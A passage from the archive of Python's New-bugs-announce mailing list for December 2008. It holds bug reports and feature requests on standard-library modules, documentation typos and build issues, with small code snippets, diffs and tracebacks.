nosy: georg.brandl, techtonik
severity: normal
status: open
title: no reference for optparse methods
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4635>
_______________________________________

From report at bugs.python.org  Thu Dec 11 22:16:07 2008
From: report at bugs.python.org (Thomas Heller)
Date: Thu, 11 Dec 2008 21:16:07 +0000
Subject: [New-bugs-announce] [issue4636] bdist_wininst installer with
	install script raises exception
In-Reply-To: <1229030167.98.0.0716327891895.issue4636@psf.upfronthosting.co.za>
Message-ID: <1229030167.98.0.0716327891895.issue4636@psf.upfronthosting.co.za>


New submission from Thomas Heller <theller at ctypes.org>:

Running a bdist_wininst installer that contains a install script, with
python 3, raises an exception. This is displayed in the gui:
ImportError: No module named __builtin__
*** run_installscript: internal error 0xFFFFFFFF ***

This is probably because the bdist_wininst installer stubs (in the
Lib/distutils/command subdirectory) have not been recompiled after
changing the sources.

----------
components: Distutils
messages: 77631
nosy: theller
severity: normal
status: open
title: bdist_wininst installer with install script raises exception
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4636>
_______________________________________

From report at bugs.python.org  Fri Dec 12 00:34:26 2008
From: report at bugs.python.org (Retro)
Date: Thu, 11 Dec 2008 23:34:26 +0000
Subject: [New-bugs-announce] [issue4637] Binary floating point and decimal
	floating point arithmetic
In-Reply-To: <1229038466.07.0.748042686463.issue4637@psf.upfronthosting.co.za>
Message-ID: <1229038466.07.0.748042686463.issue4637@psf.upfronthosting.co.za>


New submission from Retro <vinetouu at gmail.com>:

Please consider of making the default floating point arithmetic in
Python 3.x be decimal floating point arithmetic.

----------
components: Interpreter Core
messages: 77645
nosy: Retro, gvanrossum
severity: normal
status: open
title: Binary floating point and decimal floating point arithmetic
type: feature request
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4637>
_______________________________________

From report at bugs.python.org  Fri Dec 12 02:46:02 2008
From: report at bugs.python.org (Hatem)
Date: Fri, 12 Dec 2008 01:46:02 +0000
Subject: [New-bugs-announce] [issue4638] 1 is 1 is allways true while 1.0 is
	1.0 may sometimes be true
In-Reply-To: <1229046362.42.0.268420171546.issue4638@psf.upfronthosting.co.za>
Message-ID: <1229046362.42.0.268420171546.issue4638@psf.upfronthosting.co.za>


New submission from Hatem <hnassrat at gmail.com>:

In [29]: a,b = 1.0,1.0
In [30]: a is b
Out[30]: True
In [31]: a = 1.0
In [32]: b = 1.0
In [33]: a is b
Out[33]: False

# ?!?

----------
components: Interpreter Core
messages: 77654
nosy: nassrat
severity: normal
status: open
title: 1 is 1 is allways true while 1.0 is 1.0 may sometimes be true
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4638>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:11:19 2008
From: report at bugs.python.org (Edd)
Date: Fri, 12 Dec 2008 14:11:19 +0000
Subject: [New-bugs-announce] [issue4639] Build failure on OpenBSD
	4.4-current regarding lstat()
In-Reply-To: <1229091079.2.0.148699699558.issue4639@psf.upfronthosting.co.za>
Message-ID: <1229091079.2.0.148699699558.issue4639@psf.upfronthosting.co.za>


New submission from Edd <vext01 at gmail.com>:

Hi,

I just had to move the "extern lstat..." outside the "ifndef
HAVE_LSTAT" to get python 2.6.1 to build on OpenBSD 4.4-current/i386.

I'm not suggesting this is correct, but it fixes the build for my
platform at least.

--- Modules/posixmodule.c.orig     Fri Dec 12 11:08:54 2008
+++ Modules/posixmodule.c       Fri Dec 12 11:54:16 2008
@@ -208,10 +208,11 @@
 #ifdef HAVE_SYMLINK
 extern int symlink(const char *, const char *);
 #endif /* HAVE_SYMLINK */
+#endif /* !HAVE_UNISTD_H */
+
 #ifdef HAVE_LSTAT
 extern int lstat(const char *, struct stat *);
 #endif /* HAVE_LSTAT */
-#endif /* !HAVE_UNISTD_H */

 #endif /* !_MSC_VER */


Im using gcc-4.2

Thanks

----------
components: Build
messages: 77667
nosy: vext01
severity: normal
status: open
title: Build failure on OpenBSD 4.4-current regarding lstat()
type: compile error
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4639>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:14:43 2008
From: report at bugs.python.org (Krzysztof Szawala)
Date: Fri, 12 Dec 2008 14:14:43 +0000
Subject: [New-bugs-announce] [issue4640] optparse - dosn't distinguish
	between '--option' and '-option'
In-Reply-To: <1229091283.09.0.553967635356.issue4640@psf.upfronthosting.co.za>
Message-ID: <1229091283.09.0.553967635356.issue4640@psf.upfronthosting.co.za>


New submission from Krzysztof Szawala <kszawala at slb.com>:

I am using optparse for command-line parameters parsing. To follow 
common naming convention I defined -d (minus followed by a single 
character option) and --debug (double minus followed by a word).

It looks like optparse doesn't complain when -debug (single minus) is 
specified and morover it doesn't recognize it as --debug.

I am using Python 2.5.2. Problem was observed on Linux but also occurs 
on Windows.

----------
components: Extension Modules
messages: 77668
nosy: kszawala
severity: normal
status: open
title: optparse - dosn't distinguish between '--option' and '-option'
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4640>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:15:17 2008
From: report at bugs.python.org (Krzysztof Szawala)
Date: Fri, 12 Dec 2008 14:15:17 +0000
Subject: [New-bugs-announce] [issue4641] optparse - dosn't distinguish
	between '--option' and '-option'
In-Reply-To: <1229091317.99.0.0373264800508.issue4641@psf.upfronthosting.co.za>
Message-ID: <1229091317.99.0.0373264800508.issue4641@psf.upfronthosting.co.za>


New submission from Krzysztof Szawala <kszawala at slb.com>:

I am using optparse for command-line parameters parsing. To follow 
common naming convention I defined -d (minus followed by a single 
character option) and --debug (double minus followed by a word).

It looks like optparse doesn't complain when -debug (single minus) is 
specified and morover it doesn't recognize it as --debug.

I am using Python 2.5.2. Problem was observed on Linux but also occurs 
on Windows.

----------
components: Extension Modules
messages: 77669
nosy: kszawala
severity: normal
status: open
title: optparse - dosn't distinguish between '--option' and '-option'
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4641>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:16:44 2008
From: report at bugs.python.org (Krzysztof Szawala)
Date: Fri, 12 Dec 2008 14:16:44 +0000
Subject: [New-bugs-announce] [issue4642] optparse - dosn't distinguish
	between '--option' and '-option'
In-Reply-To: <1229091404.39.0.274504752383.issue4642@psf.upfronthosting.co.za>
Message-ID: <1229091404.39.0.274504752383.issue4642@psf.upfronthosting.co.za>


New submission from Krzysztof Szawala <kszawala at slb.com>:

I am using optparse for command-line parameters parsing. To follow 
common naming convention I defined -d (minus followed by a single 
character option) and --debug (double minus followed by a word).

It looks like optparse doesn't complain when -debug (single minus) is 
specified and morover it doesn't recognize it as --debug.

I am using Python 2.5.2. Problem was observed on Linux but also occurs 
on Windows.

----------
components: Extension Modules
messages: 77670
nosy: kszawala
severity: normal
status: open
title: optparse - dosn't distinguish between '--option' and '-option'
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4642>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:48:33 2008
From: report at bugs.python.org (Allan Crooks)
Date: Fri, 12 Dec 2008 14:48:33 +0000
Subject: [New-bugs-announce] [issue4643] cgitb.html fails if getattr call
	raises exception
In-Reply-To: <1229093313.68.0.275889144486.issue4643@psf.upfronthosting.co.za>
Message-ID: <1229093313.68.0.275889144486.issue4643@psf.upfronthosting.co.za>


New submission from Allan Crooks <amc1 at users.sourceforge.net>:

If cgitb.html tries to get the value of an attribute from an object, and
the getattr call causes an exception to be raised (other than an
AttributeError), then cgitb.html fails to work:

If you run the attached file in Python 2.5.2 or 2.6, you get the
following output:

----

A: the letter a
B:
Something went wrong - attempting to generate HTML stack trace.
Error generating HTML stack trace!
Traceback (most recent call last):
  File "attrtest.py", line 21, in <module>
    html_text = cgitb.html(sys.exc_info())
  File "C:\python26\lib\cgitb.py", line 133, in html
    vars = scanvars(reader, frame, locals)
  File "C:\python26\lib\cgitb.py", line 84, in scanvars
    value = getattr(parent, token, __UNDEF__)
  File "attrtest.py", line 8, in __getattr__
    return str(slf) # Intentional NameError
NameError: global name 'slf' is not defined

----

The problem is in the scanvars function - it offers no protection
against any unexpected exceptions that occur (that escape the getattr
call) - which can be a problem if it is the same problematic code that
caused cgitb.html to be called in the first place.

I think scanvars should catch any exceptions that come from the getattr
call and either mention that the attribute value could not be
determined, or simply omit the mention of the attribute at all.

If the line in the attached file is commented out, then the next line is
caught appropriately and formatted correctly (the offending code occurs
in the same block, but doesn't cause the same problem because it raises
an AttributeError).

----------
components: Library (Lib)
files: attrtest.py
messages: 77672
nosy: amc1
severity: normal
status: open
title: cgitb.html fails if getattr call raises exception
versions: Python 2.5.3, Python 2.6, Python 3.0
Added file: http://bugs.python.org/file12330/attrtest.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4643>
_______________________________________

From report at bugs.python.org  Fri Dec 12 15:53:59 2008
From: report at bugs.python.org (Allan Crooks)
Date: Fri, 12 Dec 2008 14:53:59 +0000
Subject: [New-bugs-announce] [issue4644] Minor documentation fault in 2to3
	script
In-Reply-To: <1229093639.22.0.0185792170077.issue4644@psf.upfronthosting.co.za>
Message-ID: <1229093639.22.0.0185792170077.issue4644@psf.upfronthosting.co.za>


New submission from Allan Crooks <amc1 at users.sourceforge.net>:

When I run the following command:

C:\temp>\python26\Tools\scripts\2to3.py --help
Usage: refactor.py [options] file|dir ...

It mentions that the script name is refactor.py, rather than 2to3.py (I
guess that was the scripts original name?)

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 77673
nosy: amc1
severity: normal
status: open
title: Minor documentation fault in 2to3 script
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4644>
_______________________________________

From report at bugs.python.org  Fri Dec 12 21:10:16 2008
From: report at bugs.python.org (Shawn Ashlee)
Date: Fri, 12 Dec 2008 20:10:16 +0000
Subject: [New-bugs-announce] [issue4645] configparser DEFAULT
In-Reply-To: <1229112616.18.0.592196405919.issue4645@psf.upfronthosting.co.za>
Message-ID: <1229112616.18.0.592196405919.issue4645@psf.upfronthosting.co.za>


New submission from Shawn Ashlee <shawn.ashlee at rackspace.com>:

using .add_section() and .set() for the DEFAULT section adds it twice:

[user at srv ~]$ cat test_configparser.py 
#!/usr/bin/env python

import ConfigParser

a = ConfigParser.SafeConfigParser()

# borked
a.add_section('DEFAULT')
a.set('DEFAULT', 'foo', 'bar')

# working
a.add_section('working')
a.set('working', 'foo', 'bar')

b = open('testing', 'w')
a.write(b)
b.close()

[user at srv ~]$ python test_configparser.py 
[user at srv ~]$ cat testing 
[DEFAULT]
foo = bar

[DEFAULT]

[working]
foo = bar


Tested with 2.4 and 2.5, py3k no longer allows DEFAULT to be passed, so
this is a python < 3k issue.

----------
components: Extension Modules
messages: 77686
nosy: shawn.ashlee
severity: normal
status: open
title: configparser DEFAULT
versions: Python 2.4, Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4645>
_______________________________________

From report at bugs.python.org  Fri Dec 12 21:15:04 2008
From: report at bugs.python.org (Thomas Heller)
Date: Fri, 12 Dec 2008 20:15:04 +0000
Subject: [New-bugs-announce] [issue4646] distutils chokes on empty options
	arg in the setup function
In-Reply-To: <1229112904.14.0.0159399234206.issue4646@psf.upfronthosting.co.za>
Message-ID: <1229112904.14.0.0159399234206.issue4646@psf.upfronthosting.co.za>


New submission from Thomas Heller <theller at ctypes.org>:

Distutils setup function accepts an 'options' named argument which
allows to pass options to subcommands in a dictionary (At the moment I
cannot find where this is documented).
When an empty dictionary is passed, distutils spits out a warning:

C:\sf\comtypes>py3 setup.py clean
c:\python30\lib\distutils\dist.py:259: UserWarning: Unknown distribution
option: 'options'
  warnings.warn(msg)
running clean
...

I believe the bug is in all versions of Python; since it never has been
fixed (or even found) I'm not sure if it is worth fixing.  However,
patch is attached.

----------
components: Distutils
files: distutils.patch
keywords: patch, patch
messages: 77687
nosy: theller
severity: normal
status: open
title: distutils chokes on empty options arg in the setup function
type: behavior
versions: Python 2.5.3, Python 2.6, Python 2.7, Python 3.0
Added file: http://bugs.python.org/file12334/distutils.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4646>
_______________________________________

From report at bugs.python.org  Fri Dec 12 23:50:21 2008
From: report at bugs.python.org (Kay Schluehr)
Date: Fri, 12 Dec 2008 22:50:21 +0000
Subject: [New-bugs-announce] [issue4647] Builtin parser module fails to
	parse relative imports
In-Reply-To: <1229122221.79.0.426361145123.issue4647@psf.upfronthosting.co.za>
Message-ID: <1229122221.79.0.426361145123.issue4647@psf.upfronthosting.co.za>


New submission from Kay Schluehr <kay at fiber-space.de>:

I've added the following test method:

test_parser.py 
--------------
class RoundtripLegalSyntaxTestCase(unittest.TestCase):

    def test_relative_import_statement(self):
        self.check_suite("from . import sys")

The test fails raising the message:

Traceback (most recent call last):
  File "test_parser.py", line 182, in test_relative_import_statement
    self.check_suite("from . import sys")
  File "test_parser.py", line 29, in check_suite
    self.roundtrip(parser.suite, s)
  File "test_parser.py", line 20, in roundtrip
    self.fail("could not roundtrip %r: %s" % (s, why))
AssertionError: could not roundtrip 'from . import sys': Expected node
type 1, got 23.


Apparently the parser expects a NAME token and gets a DOT token.

This behaviour affects Python 2.5 and Python 2.6. Unchecked for Python 3.0.

----------
components: Interpreter Core
messages: 77690
nosy: schluehk
severity: normal
status: open
title: Builtin parser module fails to parse relative imports
type: behavior
versions: Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4647>
_______________________________________

From report at bugs.python.org  Sat Dec 13 00:34:07 2008
From: report at bugs.python.org (Retro)
Date: Fri, 12 Dec 2008 23:34:07 +0000
Subject: [New-bugs-announce] [issue4648] Fix n//x to n/x in the Docs
In-Reply-To: <1229124847.63.0.939793321835.issue4648@psf.upfronthosting.co.za>
Message-ID: <1229124847.63.0.939793321835.issue4648@psf.upfronthosting.co.za>


New submission from Retro <vinetouu at gmail.com>:

Please look at the example code in the following Python 3.0
documentation/tutorial:

http://docs.python.org/3.0/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops


The line 4 has a little fix to be made:

from
...             print(n, 'equals', x, '*', n//x)
to
...             print(n, 'equals', x, '*', n/x)


You probably noticed that n//x was proposed to be fixed to n/x. Please
note that this is Python 3.0 code. It's a small fix so I hope you won't
mind to fix this.

----------
assignee: georg.brandl
components: Documentation
messages: 77694
nosy: Retro, georg.brandl
severity: normal
status: open
title: Fix n//x to n/x in the Docs
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4648>
_______________________________________

From report at bugs.python.org  Sat Dec 13 01:53:28 2008
From: report at bugs.python.org (Retro)
Date: Sat, 13 Dec 2008 00:53:28 +0000
Subject: [New-bugs-announce] [issue4649] Fix a+b to a + b
In-Reply-To: <1229129608.17.0.105280269307.issue4649@psf.upfronthosting.co.za>
Message-ID: <1229129608.17.0.105280269307.issue4649@psf.upfronthosting.co.za>


New submission from Retro <vinetouu at gmail.com>:

http://docs.python.org/3.0/tutorial/controlflow.html#defining-functions


Please visit the above link and see line 6 in the example code.

...         a, b = b, a+b

should be fixed to

...         a, b = b, a + b

because PEP 8 recommends to

- Use spaces around arithmetic operators:
    Yes:
        i = i + 1
    No:
        i=i+1

----------
assignee: georg.brandl
components: Documentation
messages: 77705
nosy: Retro, georg.brandl, loewis, rhettinger
severity: normal
status: open
title: Fix a+b to a + b
versions: Python 2.5, Python 2.5.3, Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4649>
_______________________________________

From report at bugs.python.org  Sat Dec 13 07:46:37 2008
From: report at bugs.python.org (Wang Chun)
Date: Sat, 13 Dec 2008 06:46:37 +0000
Subject: [New-bugs-announce] [issue4650] getopt need re-factor...
In-Reply-To: <1229150797.88.0.480483260709.issue4650@psf.upfronthosting.co.za>
Message-ID: <1229150797.88.0.480483260709.issue4650@psf.upfronthosting.co.za>


New submission from Wang Chun <yaohua2000 at gmail.com>:

I created #4629 a couple of days ago. And besides that issue, for Python 
3.x, I guess we can remove getopt.error since Python 3.x does not have to 
backward compatible with Python 2.x. And another issue is, GetoptError 
does not render right error message with unicode_literals enabled in 
Python 2.6.

----------
components: Library (Lib)
messages: 77715
nosy: wangchun
severity: normal
status: open
title: getopt need re-factor...
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4650>
_______________________________________

From report at bugs.python.org  Sat Dec 13 07:47:29 2008
From: report at bugs.python.org (Wang Chun)
Date: Sat, 13 Dec 2008 06:47:29 +0000
Subject: [New-bugs-announce] [issue4651] getopt need re-factor...
In-Reply-To: <1229150849.35.0.710720272237.issue4651@psf.upfronthosting.co.za>
Message-ID: <1229150849.35.0.710720272237.issue4651@psf.upfronthosting.co.za>


New submission from Wang Chun <yaohua2000 at gmail.com>:

I created #4629 a couple of days ago. And besides that issue, for Python 
3.x, I guess we can remove getopt.error since Python 3.x does not have to 
backward compatible with Python 2.x. And another issue is, GetoptError 
does not render right error message with unicode_literals enabled in 
Python 2.6.

----------
components: Library (Lib)
messages: 77716
nosy: wangchun
severity: normal
status: open
title: getopt need re-factor...
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4651>
_______________________________________

From report at bugs.python.org  Sat Dec 13 08:43:49 2008
From: report at bugs.python.org (Aki Wakabayashi)
Date: Sat, 13 Dec 2008 07:43:49 +0000
Subject: [New-bugs-announce] [issue4652] IDLE does not work with Unicode
In-Reply-To: <1229154229.3.0.726059762082.issue4652@psf.upfronthosting.co.za>
Message-ID: <1229154229.3.0.726059762082.issue4652@psf.upfronthosting.co.za>


New submission from Aki Wakabayashi <zzyzx2001 at gmail.com>:

I have installed python 3.0 on Ubuntu 8.10 yesterday and played around
with the new unicode features and had no problems with Japanese
characters(both in interactive and script mode). However, after
rebooting, IDLE will no longer let me input any Japanese characters.
(I have it set to UFT-8, if it makes any difference anymore)

The terminal works fine. It lets me input Japanese and runs commands
correctly.

So I used gedit and saved a simple print("Hello(in Japanese chars)"),
and run it with IDLE 3.0 but I get a blank line >>>. 

(Can I also make sure that I'm opening IDLE correctly? This is how I do it:
1)Open Terminal
2)~$ Python.3.0
3)>>> input idlelib.idle 

Thank You in advance.

----------
components: IDLE
messages: 77717
nosy: zzyzx
severity: normal
status: open
title: IDLE does not work with Unicode
type: performance
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4652>
_______________________________________

From report at bugs.python.org  Sat Dec 13 08:56:56 2008
From: report at bugs.python.org (Johnny Lee)
Date: Sat, 13 Dec 2008 07:56:56 +0000
Subject: [New-bugs-announce] [issue4653] Patch to fix typos for Py3K
In-Reply-To: <1229155016.15.0.221157622828.issue4653@psf.upfronthosting.co.za>
Message-ID: <1229155016.15.0.221157622828.issue4653@psf.upfronthosting.co.za>


New submission from Johnny Lee <typo.pl at gmail.com>:

I ran my typo.pl perl script that locates possible C/C++ typos.

I found four that looked valid.

Two of the typos were in the Python directory {pythonrun.c, 
dynload_win.c}, two were in PC/bdist_wininst {install.c, extract.c}.

Python/dynload_win.c:
Win32 API FormatMessageW() expects the 6th parameter to be the count of 
characters, NOT the count of bytes.

Python/pythonrun.c:
The source code contains "if (ferr != NULL || ferr != Py_None)". This 
does not work as expected - if ferr == NULL, then the second part of 
the if expression will succeed. Look at the code handling fout about 8 
lines up to see the correct code.

PC/bdist_wininst/extract.c:
Win32 API CreateFileMapping returns NULL on error, not 
INVALID_HANDLE_VALUE.

PC/bdist_wininst/install.c:
Win32 API CreateFileMapping returns NULL on error, not 
INVALID_HANDLE_VALUE.

----------
components: Installation, Interpreter Core
files: py30diff.txt
messages: 77718
nosy: typo.pl
severity: normal
status: open
title: Patch to fix typos for Py3K
versions: Python 3.0
Added file: http://bugs.python.org/file12335/py30diff.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4653>
_______________________________________

From report at bugs.python.org  Sat Dec 13 09:47:40 2008
From: report at bugs.python.org (dirlt)
Date: Sat, 13 Dec 2008 08:47:40 +0000
Subject: [New-bugs-announce] [issue4654] os.path.realpath() get the wrong
	result
In-Reply-To: <1229158060.01.0.633699238594.issue4654@psf.upfronthosting.co.za>
Message-ID: <1229158060.01.0.633699238594.issue4654@psf.upfronthosting.co.za>


New submission from dirlt <zhang_yan at baidu.com>:

I found the problem when i install a small tool which I wrote on the
each machine in the company.the problem is simplified as follows:
there are three files
1./home/share/temp/a a regular file
2./home/share/a.lnk which is symbolic link to the /home/share/temp/a
3./home/share/temp/test.py whose contents are
#!/usr/bin/env python                                                  
                                                            
import os
import sys
print sys.version
print os.uname()
print os.path.realpath("/home/share/temp/../a.lnk")
print os.path.abspath("/home/share/temp/../a.lnk")

and I ran the python script on two different machines,but the version 
of python interpreters are the same,and both of them are 64 bits machine,
but the result of os.path.realpath is different,one is
--------------------------------------------------------
2.3.4 (#1, Feb  2 2005, 11:44:13) 
[GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)]
('Linux', 'tc-com-test00.tc.baidu.com', '2.6.9-52bs', '#2 SMP Fri Jan 26
13:34:38 CST 2007', 'x86_64')
/home/share/a.lnk 
/home/share/a.lnk

another is 
-----------------------------------------------------------
2.3.4 (#1, Dec 11 2007, 05:28:55) 
[GCC 3.4.6 20060404 (Red Hat 3.4.6-9)]
('Linux', 'tc-ecom-dev00.tc.baidu.com', '2.6.9-52bs', '#2 SMP Fri Jan 26
13:34:38 CST 2007', 'x86_64')
/home/share/temp/temp/a
/home/share/a.lnk

But obviously the first one os.path.realpath(...) should be 
/home/share/temp/a instead of /home/share/a.lnk
and the second on os.path.realpath(...) should also be
/home/share/temp/a instaed of /home/share/temp/temp/a

----------
components: Library (Lib)
messages: 77719
nosy: dirlt
severity: normal
status: open
title: os.path.realpath() get the wrong result
type: behavior
versions: Python 2.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4654>
_______________________________________

From report at bugs.python.org  Sun Dec 14 02:31:05 2008
From: report at bugs.python.org (Jake)
Date: Sun, 14 Dec 2008 01:31:05 +0000
Subject: [New-bugs-announce] [issue4655] setup.py should not use
	.pydistutils.cfg
In-Reply-To: <1229218265.16.0.0523897864618.issue4655@psf.upfronthosting.co.za>
Message-ID: <1229218265.16.0.0523897864618.issue4655@psf.upfronthosting.co.za>


New submission from Jake <jah.mailinglist at gmail.com>:

When installing python 2.6, I used:  
   ./configure --prefix=/home/name/usr

Installation was fine and everything was installed to:
   ~/usr/lib/python2.6

But the .so files were installed to:
  ~/usr/lib/python

As ~/usr/lib/python was (no longer) declared in my PYTHONPATH, I ran
into import issues.  The problem was due to a forgotten file:
  ~/.pydistutils.cfg

So this is clearly a user error, but I wonder if it is something which
should be avoided at the setup.py level.  

When installing python, the installation locations are derived from the
results of ./configure.  When setup.py is eventually called, the
installation locations can change.  This seems undesirable.  Would it be
better if setup.py instructed distutils to ignore any configuration file
so that the installation directories matched what was used by the rest
of 'make install'?

Related:  http://bugs.python.org/issue1180

----------
components: Installation
messages: 77771
nosy: jah
severity: normal
status: open
title: setup.py should not use .pydistutils.cfg
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4655>
_______________________________________

From report at bugs.python.org  Sun Dec 14 05:06:20 2008
From: report at bugs.python.org (Matthew Cowles)
Date: Sun, 14 Dec 2008 04:06:20 +0000
Subject: [New-bugs-announce] [issue4656] Python 3 tutorial has old
	information about dicts
In-Reply-To: <1229227580.62.0.669575404687.issue4656@psf.upfronthosting.co.za>
Message-ID: <1229227580.62.0.669575404687.issue4656@psf.upfronthosting.co.za>


New submission from Matthew Cowles <mdcowles at users.sourceforge.net>:

[From a question sent to the python-help list.]

In the Python 3 tutorial at:

http://docs.python.org/3.0/tutorial/datastructures.html#dictionaries

it says:

The keys() method of a dictionary object returns a list of all the keys 
used in the dictionary, in arbitrary order if you want it sorted, just 
apply the sort() method to the list of keys

But in What's New in Python 3.0 at:

http://docs.python.org/3.0/whatsnew/3.0.html

it says:

dict methods dict.keys(), dict.items() and dict.values() return ?views? 
instead of lists. For example, this no longer works: k = d.keys(); 
k.sort(). Use k = sorted(d) instead

I expect that it's just a matter of updating the tutorial.

----------
assignee: georg.brandl
components: Documentation
messages: 77776
nosy: georg.brandl, mdcowles
severity: normal
status: open
title: Python 3 tutorial has old information about dicts
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4656>
_______________________________________

From report at bugs.python.org  Sun Dec 14 09:21:26 2008
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 14 Dec 2008 08:21:26 +0000
Subject: [New-bugs-announce] [issue4657] Doctest gets line numbers wrongs
	with <> in name
In-Reply-To: <1229242886.47.0.883564319605.issue4657@psf.upfronthosting.co.za>
Message-ID: <1229242886.47.0.883564319605.issue4657@psf.upfronthosting.co.za>


New submission from Nick Coghlan <ncoghlan at gmail.com>:

When writing the unit tests for running doctests from inside a zipfile,
I initially had "<anon>" as the name being passed to the
doctest.DocTestFinder.find method.

With that name, the line numbers coming back for all of the examples
were being incremented by 1 beyond what test_doctest expected (and hence
my tests were failing).

Changing the name to "anon" eliminated the errors. (Both "<anon" and
"anon>" also failed in the same fashion as "<anon>")

I suspect there may be a problem with __LINECACHE_FILENAME_RE when "<"
or ">" are embedded in the name used for the doctest execution.

----------
messages: 77777
nosy: ncoghlan
severity: normal
status: open
title: Doctest gets line numbers wrongs with <> in name

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4657>
_______________________________________

From report at bugs.python.org  Sun Dec 14 16:25:08 2008
From: report at bugs.python.org (Bram Geron)
Date: Sun, 14 Dec 2008 15:25:08 +0000
Subject: [New-bugs-announce] [issue4658] missing closing bracket in
	Functional Programming HOWTO
In-Reply-To: <1229268308.32.0.937567337993.issue4658@psf.upfronthosting.co.za>
Message-ID: <1229268308.32.0.937567337993.issue4658@psf.upfronthosting.co.za>


New submission from Bram Geron <bgeron at gmail.com>:

In the Functional Programming HOWTO -> Built-in functions -> sorted, the
syntaxis code misses a closing square bracket just after `reverse=False`.

----------
assignee: georg.brandl
components: Documentation
messages: 77801
nosy: bgeron, georg.brandl
severity: normal
status: open
title: missing closing bracket in Functional Programming HOWTO
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4658>
_______________________________________

From report at bugs.python.org  Sun Dec 14 17:25:12 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 14 Dec 2008 16:25:12 +0000
Subject: [New-bugs-announce] [issue4659] compilation warning in
	Modules/zipimport.c
In-Reply-To: <1229271912.51.0.683304692503.issue4659@psf.upfronthosting.co.za>
Message-ID: <1229271912.51.0.683304692503.issue4659@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

Probably harmless:

./Modules/zipimport.c: In function ?get_module_code?:
./Modules/zipimport.c:1132: warning: format ?%c? expects type ?int?, but
argument 3 has type ?long int?

----------
components: Extension Modules
messages: 77804
nosy: pitrou
priority: low
severity: normal
status: open
title: compilation warning in Modules/zipimport.c
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4659>
_______________________________________

From report at bugs.python.org  Sun Dec 14 17:48:02 2008
From: report at bugs.python.org (Brian)
Date: Sun, 14 Dec 2008 16:48:02 +0000
Subject: [New-bugs-announce] [issue4660] multiprocessing.JoinableQueue
	task_done() issue
In-Reply-To: <1229273282.85.0.657676661464.issue4660@psf.upfronthosting.co.za>
Message-ID: <1229273282.85.0.657676661464.issue4660@psf.upfronthosting.co.za>


New submission from Brian <brian at merrells.org>:

Despite carefully matching my get() and task_done() statements I would 
often trigger "raise ValueError('task_done() called too many times')" in 
my multiprocessing.JoinableQueue (multiprocessing/queues.py)

Looking over the code (and a lot of debug logging), it appears that the 
issue arises from JoinableQueue.put() not being protected with a locking 
mechanism.  A preemption after the first line allows other processes to 
resume without releasing the _unfinished_tasks semaphore.

The simplest solution seems to be allowing task_done() to block while 
waiting to acquire the _unfinished_tasks semaphore.

Replacing:
if not self._unfinished_tasks.acquire(False):
  raise ValueError('task_done() called too many times')

With simply:
self._unfinished_tasks.acquire()

This would however remove the error checking provided (given the many 
far more subtler error that can be made, I might argue it is of limited 
value).  Alternately the JoinableQueue.put() method could be better 
protected.

----------
components: Library (Lib)
messages: 77806
nosy: merrellb
severity: normal
status: open
title: multiprocessing.JoinableQueue task_done() issue
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4660>
_______________________________________

From report at bugs.python.org  Sun Dec 14 17:55:46 2008
From: report at bugs.python.org (=?utf-8?q?Adeodato_Sim=C3=B3?=)
Date: Sun, 14 Dec 2008 16:55:46 +0000
Subject: [New-bugs-announce] [issue4661] email.parser: impossible to read
	messages encoded in a different encoding
In-Reply-To: <1229273746.12.0.577914878535.issue4661@psf.upfronthosting.co.za>
Message-ID: <1229273746.12.0.577914878535.issue4661@psf.upfronthosting.co.za>


New submission from Adeodato Sim? <dato at net.com.org.es>:

Currently, email.parser/feedparser can only parse messages that come 
as a string, or from a file opened in text mode.

